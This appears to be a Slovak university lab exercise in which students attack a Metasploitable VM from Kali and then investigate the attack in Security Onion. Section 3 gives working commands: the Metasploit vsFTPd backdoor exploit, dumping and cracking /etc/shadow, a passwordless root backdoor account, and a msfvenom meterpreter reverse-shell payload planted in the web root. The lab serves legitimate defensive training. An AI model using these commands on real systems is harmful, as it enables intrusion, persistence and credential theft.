← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie
¶ Cieľ cvičenia
Preskúmať kompromitáciu zariadenia a vyhľadať jej stopy v logoch a zachytenej prevádzke.
¶ Postup práce
- Prečítajte si požiadavky a scenár; overte pripravenosť laboratória.
- Vypracujte úlohy v uvedenom poradí a priebežne ukladajte dôkazy.
- Pri každej úlohe porovnajte pozorovanie s očakávaným výsledkom a odpovedzte na otázky v zadaní.
¶ Obsah
- 1 Inštrukcie a scenár
- 2 Príprava
- 3 Kali Linux
- 4 Prezrite si logy
- 5 Wireshark – Extrahujte Malware
- 6 Záver
¶ 1 Inštrukcie a scenár
¶ Topológia
Alternatívna topológia pre Cisco
¶ Inštrukcie a scenár
V tomto cvičení využijeme zraniteľnosť nájdenú v cvičení 9 na zariadení metasploitable. Pomocou zraniteľnosti, ktorú využijete sa dostanete z Kali-Linux na Metasploitable zariadenie vytvoríte backdoor pomocou pridania nového účtu a stiahnete si /etc/shadow. Taktiež si vytvoríte malware na zariadení Kali Linux, ktorý potom nahráte do webového adresára na zariadení Metasploitable. V ďalšej časti cvičenia si na zariadení Security Onion prezrieme logy pomocou nástrojov Sguil, Wireshark, Kibana a zistíme, aké kroky vykonal útočník k získaniu súboru. Napokon v poslednej časti cvičenia si stiahnete malware, na zariadenie Kali a budete analyzovať s ním spojené vygenerované hlásenia v Sguil-e, a tiež extrahovať samotný malware na zariadení Security Onion z pcap súboru.
Toto laboratórne cvičenie vzniklo na základe tohto oficiálneho Netacad labu a jeho doplnením o reálne generovanie útokov a analýzu reálnych dát, a nie demo údajov:
-
- 27.2.10 – Extract an Executable from a PCAP
¶ Používatelia
Názov |
Meno |
Heslo |
Kali Linux * |
<kali user> |
<kali password> |
Metasploitable |
msfadmin |
msfadmin |
SecurityOnion-Realtime * |
<securityonion user> |
<securityonion password> |
SecurityOnion-Cyberops |
analyst |
cyberops |
OpenWRT |
root |
|
OpenvSwitch |
root |
|
GVM |
admin |
admin |
Cisco 2691 |
(bez mena) |
(bez hesla) |
* - zariadenie má používateľa a heslo ktorého vytvoril študent počas cvičenia 1 v časti Zmena username
¶ Všeobecné upozornenia pre prácu počas cvičenia
- **vytvorenie link-u na kapitolu/ odstavec
**- v jednotlivých stránkach je možné skopírovať link na konkrétnu kapitolu/ odstavec (stačí označiť text, po chvíli sa zobrazí ikona s piktogramom "skopírovať" na ktorú treba kliknúť čím sa skopíruje link na príslušnú kapitolu/ odstavec
- **postup komentovania problému/bugu v MS Teams
**(účastníci komerčných kurzov bez tejto možnosti)- najprv skontrolovať vlákno či už niekto riešil problém, ak nie tak pridať komentár k vláknu pričom je treba okrem iného spomenúť aj:
- na akej variante robíte (KIS GNS3, GNS3+VMware, VMware only)
- kde ste sa stretli s problémom (kapitola/odstavec, prípadne link)
- samotný popis problému (akým spôsobom ste sa dopracovali k problému, ako sa prejavuje)
- najprv skontrolovať vlákno či už niekto riešil problém, ak nie tak pridať komentár k vláknu pričom je treba okrem iného spomenúť aj:
- prístup na remote KIS GNS3 server:
- pre prácu na katedrovom GNS3 serveri (KIS GNS3 server) je nutné aby GNS3 klient/prehliadač bol v sieti UNIZA, teda ak pracujete z domu, je nutné pripojiť sa pomocou VPN. Inštalácia a konfigurácia VPN klienta je k dispozícii na https://ikt.uniza.sk/uniza-wiki/openvpn-windows/ .
- screenshoty do reportu vášho riešenia:
- robiť tak, aby bolo vidieť celé okno s názvom používateľa a zariadenia - každý screenshot musí obsahovať značku študenta (vytvorený používateľ) aby bolo poreukázateľné že screenshot naozaj vypracoval študent
- screenshoty logov odporúčame robiť pomocou príklazu less prípadne less s prepínačom -S ktorý odreže koniec riadka (nie zalomí) a následne sa dá posúvať v súbore aj šípkami doprava/doľava
- od cvičenia 3 a vyššie - na zariadeniach Kali a SecurityOnion-Realtime pracovať s novo vytvoreným používateľom ktorý bol vytvorený počas cvičenia 1 v časti Zmena username
- klávesnica:
- odporúčame pracovať na ENG klávesnici, takže na host systéme (prevažne Windows) nainštalovať aj ENG klávesnicu. VM majú prednastavenú ENG klávesnicu, ktorá nepodporuje numerickú klávesnicu (na klávesnici vpravo) a preto používajte ENG numeric, čiže numerické klávesy na vrchnej časti klávesnice.
- **alternatívne **je možné nainštalovať do VM aj slovenskú klávesnicu a nastaviť ju ako predvolenú
- upozorňujeme že jednoduchý **apostrof **sa dá vyjadriť dvomi znakmi a to typograficky, alebo strojovo. Vo worde rozdiel nie je, ale v Linuxe to rozdiel je
- Alt + 0146 = typografický apostrof v systéme Windows
- Alt + 039 = **strojopisný apostrof **v systéme Windows (tento používať)
- zväčšenie okna na zariadení SecurityOnion/Kali
- pre zväčsenie okna na týchto zariadeniach následujte inštrukcie v Inštalácia doplnkov
¶ Časté problémy a riešenia:
- problémy s konektivitou do internetu/zariadenia
- odporúčané techniky (zhora nadol)
- ping na google.sk (skúška internet + DNS) - sieťovo všetko funguje dobre,
treba riešiť troubleshooting na aplikačnej úrovni (napr curl ak nevie sťahovať z
nejakého linku) - ping na 8.8.8.8 (skúška internet) - ak prechádza tento ping a nejde google.sk,
je problém s DNS (/etc/resolv.conf) a treba upraviť konfiguráciu DNS servera - ping na RT - ak prechádza tak hľadaj problém na úrovni brány (nastevenie
brány v zariadení, alebo nastavenie RT napr. NAT) - ping na najbližšie sieťové rozhranie - ak neprechádza, skúste pozrieť
konfiguráciu sieťového rozhrania na danom zariadení, prípadne Wireshark na
problémovom rozhraní
- ping na google.sk (skúška internet + DNS) - sieťovo všetko funguje dobre,
- odporúčané techniky (zhora nadol)
- SecurityOnion nejde spustiť (po boote "spectre mitigation lfence not serializing")
reštartovať zariadenie (niekedy pomôže aj druhýkrát), prípadne zvýšiť CPU na 4 (ak
nie je)
¶ 2 Príprava
V časti 2 budete vykonávať analýzu útoku, ktorý zrealizujete v časti 1, preto je potrebné, aby ste si na zariadení SecurityOnion-Realtime zapli nástroj Sguil pre monitorovacie rozhranie seconion-eth0, seconion-ossec (select ALL)**
**
¶ 3 Kali Linux
V predchádzajúcom cvičení sme zistili, že zariadenie Metasploitable obsahuje zraniteľnosť vsFTPd version 2.3.4 backdoor. V tomto cvičení využijeme túto zraniteľnosť pomocou nástroja metasploit framework. Zaznamenávajte si všetky výstupy pre kontrolu správnosti riešenia.
-
Nastavenie nástroja metasploit framework na využitie zraniteľnosti
-
Otvorte si terminál v Kali Linux a požite príkaz pre spustenie metasploit framework:
msfconsole- Spustenie bude trvať dlhšie
-
Použite príkaz na hľadanie modulu, ktorý je priradený pre zraniteľnosť vsFTPd
search vsftpd -
Na využívanie modulov z databázy sa používa príkaz: use <cesta_k_modulu>
-
Spustite daný modul pre zraniteľnosť vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
-
-
Následne nastavíte cieľového hostiteľa v našom prípade Metasploitable IP adresu. To docielite pomocou príkazu:
set rhosts <IP adresa Metasploitable> -
Následne, keď máte nastaveného hostiteľa použijete príkaz exploit pre využitie zraniteľnosti
exploit- Prípadne si môžete overiť nastavenie pomocou príkazu show options
-
Výsledok príkazu exploit (zariadenie Metasploitable musí byť zapnuté a používateľ msfadmin musí byť prihlásený):
-
Pomocou príkazu exploit vstúpite do terminálu zariadenia Metasploitable
-
Použite príkazy:
-
who -uzobrazia sa vám používatelia prihlásení do systému -
whoamizobrazí sa vám pod akým používateľom ste prihlásený -
hostnamezobrazí sa vám názov zariadenia, ktorý je daný zariadeniu -
ifconfigzobrazia sa vám informácie o rozhraniach zariadenia
-
-
-
-
Získanie úplnej kontroly nad zariadením Metasploitable
-
Ako prvé si zobrazte súbor /etc/shadow
cat /etc/shadow -
Skopírujte si text a vložte ho do súboru
/home/kali/Documents/shadowMetasploitable.txtPozn.: miesto kali zvoľte vášho používateľa
- Uložte si tento súbor
-
Ako ďalší príkaz v termináli Kali Linux-u použite:
cat /home/kali/Documents/shadowMetasploitable.txt | grep root-
Dvojbodky (
delia riadok na 7 polí:-
root: je prihlasovacie meno -
$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. : je zašifrované heslo -
Ďalších 6 polí definuje konfiguráciu hesla, napríklad dátum poslednej zmeny, minimálny a maximálny vek hesla a dátum vypršania platnosti hesla. Posledné pole je vyhradené pre budúce použitie
-
-
-
Následne sa vrátime do získaného session pre zariadenie Metasploitable a vložíme nového používateľa bez hesla do
/etc/shadow -
Pre pridanie používateľa použijeme príkaz:
echo "myroot::14747:0:99999:7:::" >> /etc/shadow -
Následne overíme či sa nám používateľa podarilo pridať
cat /etc/shadow | grep myroot -
Ďalej pridáme myroot používateľa do súboru
/etc/passwordecho "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd -
Overíme či sa úspešne pridal do súboru
cat /etc/passwd | grep myroot -
Následne náš používateľ myroot ma úplnú kontrolu nad zariadením Metasploitable
-
Overte či sa vám dá prihlásiť do zariadenia Metasploitable pomocou používateľa myroot, v Kali Linux termináli vykonajte príkazy:
telnet <IP adresa Metasploitable>Pozn.: Miesto <IP adresa Metasploitable> vložte Ip adresu zariadenia Metasploitable
- Ako Metasploitable login, zadajte novo vytvoreného používateľa myroot
-
-
Použite nástroj john na odšifrovanie hesiel, ktoré ste si uložili do súboru
/home/kali/Documents/shadowMetasploitable.txt-
Spustite nastroj john a odšifrujte heslá zo súboru
/home/kali/Documents/shadowMetasploitable.txtjohn /home/kali/Documents/shadowMetasploitable.txtPozn.: miesto kali vložte vášho používateľa
- Pravdepodobne sa vám nestihnú odšifrovať všetky heslá. Toto je len ukážka ako môžete získať ďalšie heslá ku zariadeniu
-
-
Vytvorte a nahrajte malware na Metasploitable
-
V termináli Kali Linux vytvorte reverse shell malware pomocou metasploit framework
-
Vytvor Windows malware, ktorý by sa po spustení pripojil na IP adresu a port útočníka. V našom prípade bude útočník na zariadení Kali Linux
-
Nasledujúci príkaz vytvorí malware s názvom game.exe a uloží ho do aktuálneho adresára v ktorom sa nachádzate
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP adresa Metasploitable> LPORT=8080 -f exe -o ./game.exePozn.: Miesto <IP adresa Metasploitable> vložte Ip adresu zariadenia Metasploitable
-
-
Spustite python server na Kali Linux v adresári, v ktorom sa nachádza aj váš vytvorený malware
python -m http.server -
Z terminálu Kali Linux sa dostaňte do Metasploitable, buď pomocou exploitu, ktorý ste už predtým použili v tomto cvičení, alebo pomocou novo vytvoreného používateľa myroot
-
Po úspešnom pripojení na zariadenie Metasploitable, prejdite do adresára /var/www
-
Pomocou príkazu nižšie stiahnite váš malware do aktuálneho adresára, v ktorom sa nachádzate
wget <IP adresa Kali>:8000/game.exePozn.: Miesto <IP adresa Kali> vložte Ip adresu zariadenia Kali
-
-
¶ 4 Prezrite si logy
Teraz prezrite logy z pohľadu SOC analytika pre určenie, ako bol súbor kompromitovaný.
-
Prezrite alerts v nástroji Sguil
-
Vstúpte do SecurityOnion-Realtime
-
Prihláste sa do zariadenia
-
Otvorte Sguil a prihláste sa
-
Kliknite „Select ALL“ a potom „Start SGUIL“
-
Prezrite si udalosti v stĺpci „Event Message“
-
Jeden z týchto je „GPL ATTACK_RESPONSE id check returned root“
-
Táto správa indikuje, že prístup na „root“ mohol byť získaný počas útoku
- IP Metasploitable odoslala prístup na „root“ IP Kali Linux-u
-
-
Vyberte „Show Packet Data“ a „Show Rule“ checkbox pre zobrazenie alertu s detailnými informáciami
-
V príklade nižšie sú použité „Alert ID 3.220“ a korelovaná udalosť, vaše „Alert ID“ bude však pravdepodobne rozdielne číslo
-
Kliknite pravým tlačidlom myši na číslo pod nadpisom „CNT“ a vyberte „View Correlated Events“
-
V novej karte, kliknite pravým „Alert ID“ (na číslo pod nadpisom) pre jeden z „GPL ATTACK_RESPONSE id check returned root“ alerts a vyberte „Transcript“
-
Ako príklad je použitý Alert ID 3.8707
-
Prezrite transkripty pre všetky alerty
-
Posledný alert v okne pravdepodobne zobrazuje transakciu medzi Kali (útočníkom) a Metasploitable (obeťou) počas útoku
-
Vysvetlite, čo sa stalo počas útoku ?
-
-
-
-
-
Prejdite do programu Wireshark
-
Vyberte alert, ktorý Vám poskytne transkript z predchádzajúceho kroku
- Kliknite pravým na Alert ID a vyberte „Wireshark“
-
Hlavné okno Wireshark zobrazuje 3 zobrazenia paketu
-
Pre zobrazenie všetkých paketov v TCP konverzácii, kliknite pravým na ktorýkoľvek paket a vyberte „Follow“ > „TCP Stream“
-
Popíšte čo je možné pozorovať, vzhľadom na červený a modrý text.
-
-
Zavrite „Wireshark“ keď skončíte s prezeraním informácií
-
-
Prezrite alert v Kibane
-
Ak vám sguil nezachytil alert „GPL ATTACK_RESPONSE id check returned root“, tak je tento alert možné nájsť v Kibane. Aj v prípade, že vám ho sguil zachytil, zrealizujte aj túto analýzu v inom nástroji - Kibana.
-
Otvorte si Kibanu a prihláste sa prihlasovacími údajmi ktoré ste si zadali pri sosetupe
-
Prekliknite sa do kategórie NIDS, nájdite alert „GPL ATTACK_RESPONSE id check returned root“ a odpovedzte na otázky
-
Do akej kategórie patrí alert?
-
Do akej klasifikácie patrí alert?
-
Aká je zdrojová a cieľová IP adresa?
-
Aký je zdrojový a cieľový port?
-
Aké ďalšie informácie môžete o alerte z Kibany vyčítať?
-
-
¶ 5 Wireshark – Extrahujte Malware
V nasledujúcej časti si budete sťahovať na zariadenie Kali škodlivý súbor, ktorý ste nahrali na server Metasploitable v 1. časti. Následne budete pracovať na zariadení Security Onion, kde sa pozriete na hlásenia v Sguil-e, ktoré boli vygenerované v dôsledku sťahovania škodlivého súboru, a urobíte ich analýzu. Ďalej budete pracovať s nástrojom Wireshark na zariadení Security Onion, kde budete analyzovať a extrahovať samotný malware z pcap súboru.
-
Príprava
-
Na Security Onion treba zapnuť Sguil aby sme v ňom neskôr mohli analyzovať hlásenia
-
Na Security Onion zapnite tcpdump na rozhraní eth0 (preskúmajte použité prepínače pre tcpdump):
sudo tcpdump -i eth0 -w malware.download.pcap -
Prejdite na zariadenie Kali a stiahnite si malware
- Otvorte prehliadač a stiahnite malware zo servera Metasploitable zo stránky
http://<IP adresa metasploitable>/game.exe
Pozn.: miesto <IP adresa metasploitable> vložte adresu zariadenia Metasploitable
Pozn.: Ak vám vracia error 403 Forbidden, skúste súboru game.exe, ktorý máte vo /var/www na metasploitable zmeniť práva, napr. cez chmod 777
- Otvorte prehliadač a stiahnite malware zo servera Metasploitable zo stránky
-
Následne prejdite späť na Security Onion a vypnite tcpdump, ktorý vám beží v termináli, pomocou kláves ctrl+c.
-
-
Sguil – Analýza
-
V súvislosti so sťahovaním súboru vykonanom v 1. bode, vám boli vygenerované tri alerty v nástroji Sguil, ktoré detekovali stiahnutie škodlivého súboru
Pozn.: pri topológii so smerovačom Cisco C2691 (+ switch modul) sa tieto alerty nezobrazia, preto pokračujte krokom 3.-
O aké hlásenia ide?
-
Prezrite jednotlivé pravidlá, na základe ktorých boli tieto hlásenia vygenerované.
-
Čo dokážete zistiť z vygenerovaných hlásení?
-
-
-
Analýza pcap súboru
-
Otvorte malware.download.pcap cez terminál
wireshark malware.download.pcap -
Súbor malware.download.pcap obsahuje zachytenie paketov súvisiace so sťahovaním škodlivého softvéru. Pcap obsahuje všetky pakety odoslané a prijaté počas behu tcpdump
-
Vyberte paket s požiadavkou GET na /game.exe v odchytenej prevádzke, a rozbaľte si http protokol na zobrazenie
-
Tri pakety nad našim vybratým predstavujú TCP handshake. Vybratý paket zobrazuje požiadavku na súbor škodlivého softvéru.
-
Pretože HTTP beží cez TCP, je možné použiť funkciu Sledovať TCP Stream na preskúmanie transakcií cez TCP. Vyberte prvý z troch TCP paketov - SYN paket,a kliknite naň pravým tlačidlom myši a vyberte Follow > TCP Stream
-
Wireshark zobrazí ďalšie okno s podrobnosťami o celom zvolenom toku TCP
-
Čo predstavujú tie symboly zobrazené v okne Follow TCP Stream? Prečo obsah súboru nie je čitateľný?
-
Medzi symbolmi je však predsa niekoľko čitateľných slov/fragmentov. Prečo sú tam?
-
Kliknutím na tlačidlo Close v okne Follow TCP Stream sa vrátite do Wireshark súboru malware.download.pcap
-
-
Extrahujte stiahnutý súbor z PCAP
-
Pretože zachytené súbory obsahujú všetky pakety súvisiace s prevádzkou, PCAP súbor zo sťahovania možno použiť na získanie predtým stiahnutého súboru. Ak chcete použiť Wireshark na extrahovanie súboru - škodlivého softvéru, postupujte podľa nasledujúcich krokov
-
V pakete s GET požiadavkou na škodlivý súbor v malware.download.pcap si všimnite, že požiadavka HTTP GET bola vygenerovaná z adresy Kali na adresu Metasploitable
-
S vybratým paketom požiadavky GET prejdite v hlavnom menu Wireshark na File > Export Objects > HTTP
-
Wireshark zobrazí všetky objekty HTTP prítomné v TCP toku, ktorý obsahuje požiadavku GET. V tomto prípade je v zázname prítomný iba súbor game.exe. Zobrazenie súboru potrvá niekoľko sekúnd
-
V okne HTTP object list vyberte súbor game.exe a kliknite na Save v spodnej časti obrazovky
-
Miesto uloženia vyberte adresár /home/<používateľ> a názov súboru môžete nastaviť na malware.exe
Pozn.: miesto <používateľ> vložte názov používateľa pre zariadenie Kali -
Vráťte sa do okna terminálu a skontrolujte, či bol súbor uložený. Zmeňte adresár na priečinok /home/<používateľ> a pomocou príkazu ls -l vypíšte súbory v priečinku
-
Príkaz file poskytuje informácie o type súboru. Pomocou príkazu file sa dozviete niečo viac o škodlivom súbore
-
Ako je uvedené vyššie, skutočne sa jedná o spustiteľný súbor OS Windows
-
Aký by bol pravdepodobný ďalší krok v procese analýzy škodlivého softvéru pre bezpečnostného analytika?
-
-
VirusTotal
-
Daný extrahovaný súbor nahrajte na stránku VirusTotal zo zariadenia Security Onion
-
V ľavom hornom rohu kliknite na Applications > Internet > Chromium Web Browser
-
Prejdite na stránku: VirusTotal
-
Nahrajte tam extrahovaný súbor a počkajte si na výsledky
-
Čo ste sa o súbore dozvedeli a aké výsledky ste obdržali? Je súbor naozaj škodlivý?
-
¶ 6 Záver
V tomto cvičení sme si ukázali ako získať kontrolu nad zariadením cez metódu backdoor s využitím nástroja Metasploit a následne sme analyzovali tento útok pomocou nástrojov zariadenia SecurityOnion. Na záver sme vytvorili malvér ktorý sme nahrali na web server na zariadení Metasploitable a spustili sme malvér ako simuláciu bežného používateľa webu a pomocou SecurityOnion sme analyzovali sieťovú prevádzku a hlasenia spojené s otvorením malvéru.
¶ Zistenia:
-
Backdoor je metóda, ktorá slúži pre autorizované alebo neautorizované obídenie bezpečnostných opatrení za účelom získania privilegovaného prístupu (root).
-
Malvér môže byť aj súbor zdieľaný pomocou stránky používanej na dennej báze, ktorá sa zdá byť na prvý pohľad bezpečná
¶ Otázky
-
Ako sa vyhnúť backdoor zraniteľnostiam?
-
Ako sa môže brániť bežný používateľ pred malvérom?
¶ Čo odovzdať
- Použité prostredie a adresy laboratórnych zariadení.
- Odpovede na otázky a výsledky úloh zo zadania.
- Podstatné výstupy, snímky obrazovky alebo úryvky logov s vysvetlením, čo dokazujú.
- Stručný záver: čo ste zistili, čo nefungovalo a ako ste problém riešili.
← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie